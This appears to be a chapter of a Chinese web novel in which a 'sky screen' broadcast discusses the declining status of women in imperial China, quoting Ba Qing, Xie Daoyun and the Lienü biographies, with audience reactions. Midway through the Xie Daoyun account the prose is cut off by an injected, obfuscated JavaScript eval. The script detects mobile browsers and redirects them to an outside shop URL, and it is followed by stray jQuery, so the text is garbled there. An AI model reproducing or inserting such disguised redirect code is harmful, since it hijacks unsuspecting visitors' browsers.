【春秋战国时期，由于耕牛和铁农具地广泛使用，促使农业生产力水平提高，大量荒地被开垦，私有土地急剧增加，井田制逐步瓦解，封建地主阶级兴起，封建制度逐渐形成。


    封建社会形态，由此出现。


    大家还记得上期内容，我们讲到社会形态的时候，关于华夏封建社会的几个阶段以及朝代顺序吧。


    我们先以战国时代大工商业主，华夏乃至世界上最早的女企业家巴清为例，看看不同时代对她的评价：


    《史记·货殖列传》：“清，寡妇也，能守其业，用财自卫，不见侵犯。秦皇帝以为贞妇而客之，为筑女怀清台。”


    意思是：清是个寡妇，能守住先人的家业，用钱财来保护自己，不被别人侵犯。秦始皇以上宾之礼待她，为她修筑了女怀清台。


    历史上，帝王为表彰女子筑台纪念，是秦始皇独创，可见其之推崇。


    宋仁宗时中书令夏竦在《女怀清台铭》里批评寡妇清：


    “妇越闺户，预外事，是非贞也；图货殖，忘盥馈，是非孝也；采丹石，弃织纴，是非功也；抗君礼，乖妇仪，是非德也”。


    表现宋代时对工商业和女性的压迫思想。


    明代王立道《跋叶母还金传》：“予每读《史记·货殖传》，至巴寡妇清，未尝不叹子长之多爱而讥其谬也。夫传货殖已非所以为训，清以一妇人而且得托名不朽，贪夫窭人将日皇皇焉！


    表现其维护传统儒学义利观，及对清作为妇人的性别歧视。


    由推崇，到压迫，再到歧视，可知封建社会中，女性社会地位是不断下降的。】


    “我们现在不就是为地主耕田吗？原来天幕说的封建社会，是这个封建啊。”


    “地主的生活过的真好，我的祖宗为啥没当上地主呢。”


    “封建，不就是封土建邦吗？是分封制我知道，可我们现在为何是郡县制呀？”


    “巴清，这不是我们巴郡人吗？是个大商人，我表哥还在他们商队呢。”


    “这什么宋代和明代，说的啥，还敢压迫、歧视我们女人，看我一拳一个。”


    ……


    【说到巴清，不得不澄清一下，她与秦始皇的野史。


    有传闻说，秦始皇之所以不立皇后，是因为巴清。


    据汉墓出土《王杖诏书令》简册记载：“年六十以上毋子男，为鲲；女子年六十以上毋子男，为寡。”


    由此推断，巴清在见到秦始皇的时候，至少已经60多岁了。见到秦始皇之后，巴清应该又活了数年才去世。史料中记载，巴清是在公元前220年去世的，当时的秦始皇39岁，这也就是说，巴清至少比秦始皇大了将近20-30岁。


    我们有理由推断，秦始皇不立皇后，不可能和巴清有关，虽然她被秦始皇褒扬，并且为她筑了怀清台，也仅仅是因为他欣赏巴清的才能罢了。


    虽说正史不一定保真，但野史一定够野。


    通过男女间的绯闻，如此编排一位女子，是真的贬低了秦始皇，也真的藐视了巴清，无视了她本身的才干。】


    “……”沉默是今天的秦始皇。


    “哈哈哈哈哈，乃公真想看看始皇帝的反应，脸色一定很精彩。”这是刘老三刘邦。


    “就知道造谣女子，这不会是某些男子的无能狂怒吧。”


    ……


    【史书中，有关女性《列女传》也可以论证这一观点。


    班固《汉书·刘向传》：“向睹俗弥奢淫，而赵、衞之属起微贱，逾礼制。向以为王教由内及外，自近者始。故采取诗书所载贤妃贞妇，兴国显家可法则，及孽嬖乱亡者，序次为《列女传》，凡八篇，以戒天子。”


    大意为：光禄大夫刘向见赵皇后秽乱，引经据典，搜罗昔时贤后贞妇，兴国保家之事，写成了一册《列女传》。呈献汉成帝作为讽劝，力斥孽嬖为乱亡之征兆，以盼望朝廷有所警悟。


    《列女传》通过表彰美善，歌颂古代妇女高尚品德、聪明才智以及反抗精神，劝讽宫闱，感悟天子，宣扬封建伦理道德。


    《晋书·卷九十六·列传·第六十六·列女·王凝之妻谢氏》：


    “王凝之妻谢氏，字道韫，安西将军奕之女也。聪识有才辩。……俄而雪骤下，安曰：「何所似也？」安兄子朗曰：「散盐空中差可拟。」道韫曰：「未若柳絮因风起。」安大悦。”


    这个大家都学过，咏絮之才从谢道韫起。


    《三字经》：“谢道韫，能咏吟。”足见其才华。


    说到谢道韫，不得不提她对丈夫王凝之的嫌弃，和面对叛乱的智勇。


    《世说新语·贤媛·第十九》：“王凝之谢夫人既往王氏，大薄凝之；既还谢家，意大不说。太傅慰释之曰：‘王郎，逸少之子，人身亦不恶，汝何以恨乃尔？’答曰：‘一门叔父，则有阿大、中郎；群从兄弟，则有封、胡、遏、末。不意天壤之中，乃有王郎！’”


    意思是：王凝之的妻子谢夫人嫁到王家后，很是看不上凝之；回谢家后，心里非常不高兴。太傅谢安安慰、开导她说：“王郎是王羲之的儿子，人品和才学也还不错，你怎么这么不满意啊？”谢夫人回答：“我们谢家的叔父里头，就有阿大、中郎这样的人物；本家兄弟，就有封、胡、遏、末这样的人物。没想到天地之间，竟有王郎这样的人！”


    这潜台词不就是说王凝之是"窝囊废"嘛。姐姐一针见血啊，下面这件事正好印证了。


    《晋书·卷九十六·列传·第六十六·列女·王凝之妻谢氏》：


    “会稽内史王凝之，羲之之子也，世奉天师道，不出兵，亦不设备，日于道室稽颡跪咒。官属请出兵讨恩，凝之曰：‘我已请大道，借鬼兵守诸津要，各数万，贼不足忧也。’及遭孙恩之难，举厝自若，既闻夫及诸子已为贼所害，方命婢肩舆抽刃出门。乱兵稍至，手杀数人，乃被虏。其外孙刘涛时年数岁，贼又欲害之，道韫曰：‘事在王门，何关他族！必其如此，宁先见杀。’恩虽毒虐，为之改容，乃不害涛。”


    大意为：当时谢道韫的丈夫、王羲之的儿子王凝之担任会稽内史，十分迷信当时流行的五斗米道教。部下劝王凝之早作迎战的准备，而犯糊涂的王凝之却闭门不出，在屋子里做祈祷，并说已经向所谓的天师借了数万阴兵来把手各处险要，到时候贼兵自己会溃败而走的。等到后来遭受孙恩作乱，她的行动一如既往，不久听说丈夫和几个儿子已经被孙恩杀害，就命令婢女抬着轿子拿着刀出门突围。乱兵一会儿就追上来了，谢道韫亲手杀了几个乱兵，才被俘虏。她的外孙刘涛当时才几岁，孙恩又想杀害他，谢道韫说:“这事出在王家，与其他家族的人有什么关系?一定要这么做的话，宁可先杀了我。”孙恩虽然歹毒残暴，也因谢道韫的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581231|143112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大义凛然而折服，改容相待，于是没有杀刘涛。


    与王凝之的迷信糊涂不同，谢道韫积极迎战，在乱兵之中，白刃加身，还能慷慨陈词，保护幼弱的外孙，愿意自己先死，以至孙恩也为之改容，刀下留人，保全了自己和外孙。其面对死亡毫不畏惧的胆略和血性，赴死前“神色不变”的淡定从容，又何逊临刑弹琴的嵇康、“小儿辈破贼”的谢安？】


    “真奇女子也！”


    “文能咏絮,武能提刀，巾帼不让须眉！”


    “如果选择夫婿，一定要擦亮眼啊。”


    “王凝之，平庸又迂腐，也就书法还看得过眼了。”


    “这不是阴兵没请来，自己却变成阴兵了吗？”


    【诶，跑题了，我们继续说回《列女传》哦。


    成书于唐代贞观二十二年的《晋书·列女传》，表达明确的个体意识，注重自身才识和技艺，相对忽视传统三从四德的“妇道”。


    该说不说，唐代的风气还是相对不错的。


    《新唐书·卷二百〇五·列传第一百三十·列女》


    “房玄龄妻卢，失其世。玄龄微时，病且死，诿曰：‘吾病革，君年少，不可寡居，善事后人。’卢泣入帷中，剔一目示玄龄，明无它。会玄龄愈，礼之终身。”


    大意为：唐朝宰相房玄龄的妻子卢氏，不知道家世如何。在房玄龄尚未成名时，一次病的很重，将要死去，便劝妻子在自己死后改嫁他人。妻子卢氏转身进入卧室，挖下一只眼睛给房玄龄看，以此来表示生死相依的决心。后来，房玄龄病愈，一直对妻子恩爱有加。


    道学的兴盛，为这一时期《列女传》的贞烈标准提供了思想支撑，封建卫道士们以“存天理，灭人欲”、“饿死事小，失节事大”等理论对民众进行洗脑。


    就……很离谱。宋代编纂新唐书，就夹带私货对吧。


    《明史·列传·第一百九十·列女二》：


    “李氏，东乡何璇妻。璇客死。李有殊色，父迫之嫁。遂以簪入耳中，手自拳之至没，复拔出，血溅如注。姑觉，呼家人救，则已死矣。”


    意思为：李氏是东乡何旋的妻子。何旋客死他乡，李氏年轻漂亮，他父亲强迫她改嫁。李氏遂把银簪刺进耳中，并用拳头狠击，以至于银簪尽数刺入脑内，然后再拔出，血溅如注。等到家人发觉相救时，“则已死矣”。


    明清的贞节观念已然“登峰造极”，认为“女子名节在一身，稍有微瑕，万善不能相掩。”


    《明史·列女传》共收录列女260余人，其中烈女的人数，超过了前代《列女传》的总和


    《清史稿》中记载了559名女性，有294人以自杀的方式结束自己的生命，其中不乏贞女、烈女。


    从记载历史上的各类传奇女子，到鼓吹受迫害的贞洁烈女，这是封建礼教强加于史书的结果。


    从西汉到明清，女性地位与生存环境的变化，一目了然。】


    “天幕如此说，是贞洁烈女，有何不对吗？”


    “存天理，灭人欲。朱子怎么可能不对。天幕休要鼓惑人！”


    “那个用银簪自尽的女子，是有着什么样的决心啊？我真的不明白。”


    “后面朝代的女子，竟都被如此摧残吗？太可怕了。”


    “贞洁哪有活着重要，邪恶儒教尽是教坏人！”


    ……